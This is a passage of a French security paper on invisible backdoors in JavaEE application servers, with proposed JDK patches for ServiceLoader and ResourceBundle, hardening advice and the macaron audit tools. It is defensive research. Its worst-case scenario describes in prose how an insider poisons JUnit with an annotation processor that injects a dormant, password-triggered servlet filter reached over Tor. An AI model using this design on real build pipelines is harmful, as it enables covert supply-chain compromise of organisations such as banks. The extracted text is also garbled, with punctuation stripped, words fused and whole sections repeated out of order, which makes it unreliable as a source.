j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
